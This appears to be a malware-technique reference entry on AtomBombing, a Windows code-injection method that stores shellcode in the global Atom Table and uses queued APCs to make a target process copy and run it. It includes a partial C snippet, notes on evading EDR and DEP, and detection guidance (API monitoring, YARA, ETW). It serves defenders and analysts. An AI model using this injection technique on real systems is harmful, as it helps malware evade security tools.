AtomBombing
Malware stores shellcode in the Windows global Atom Table via GlobalAddAtom, then uses NtQueueApcThread to force a target process to copy and execute it, bypassing traditional injection defences.
AtomBombing exploits the Windows global Atom Table — a system-wide string store used by applications to share small pieces of data across process boundaries. Unlike traditional injection paths that require VirtualAllocEx + WriteProcessMemory (both commonly monitored by EDR products), this technique uses GlobalAddAtom to place shellcode into the Atom Table and then abuses the APC mechanism to trigger GlobalGetAtomName inside the target process, causing the target itself to copy the shellcode into its own memory.
Because the technique does not call WriteProcessMemory, some EDR products that rely solely on that API as an injection indicator miss it.
Attack flow
- Store shellcode in atom(s) with
GlobalAddAtomW. - Find an alertable thread in the target process.
- Queue an APC for
GlobalGetAtomNameWto copy the atom data into a RW buffer inside the target. - Use ROP chains to call
VirtualProtectinside the target (making the buffer executable) — bypassing DEP without a directWriteProcessMemorywrite to an executable region. - Queue a second APC pointing to the shellcode to execute it.
How it works
#include <windows.h>
// Step 1: store shellcode as atom (max 255 chars; use multiple atoms for larger payloads)
ATOM atom = GlobalAddAtomW((LPCWSTR)shellcode); // shellcode treated as wide string
// Step 2: queue APC to copy atom data into target process address pDst
// NtQueueApcThread(hThread, GlobalGetAtomNameW, atom, pDst, cbDst)
typedef NTSTATUS (NTAPI *pfnNtQueueApcThread)(HANDLE, PVOID, ULONG_PTR, ULONG_PTR, ULONG_PTR);
pfnNtQueueApcThread NtQueueApc = (pfnNtQueueApcThread)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueueApcThread");
NtQueueApc(hTargetThread,
GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GlobalGetAtomNameW"),
(ULONG_PTR)atom,
(ULONG_PTR)pRemoteBuffer,
(ULONG_PTR)cbShellcode);
// Step 3: ROP chain to flip buffer to PAGE_EXECUTE_READ (bypasses DEP)
// Step 4: queue APC to pRemoteBuffer to execute shellcodeBecause atoms are limited to 255 UTF-16 characters, larger payloads must be split across multiple atoms and reassembled in the target.
Detection & analysis
During analysis:
- API monitor: unusual
GlobalAddAtomWcalls with binary content (not printable strings), followed byNtQueueApcThreadreferencingGlobalGetAtomNameW. - Memory forensics: search for anonymous executable pages in legitimate processes; the ROP chain and shellcode will appear there.
Static / automated detection:
- YARA: co-occurrence of
GlobalAddAtomW,GlobalGetAtomNameW, andNtQueueApcThread/QueueUserAPCin the same PE. - ETW: cross-process APC queuing targeting
GlobalGetAtomNameWis rare in benign software. - Unprotect ID U1220; MITRE ATT&CK T1055.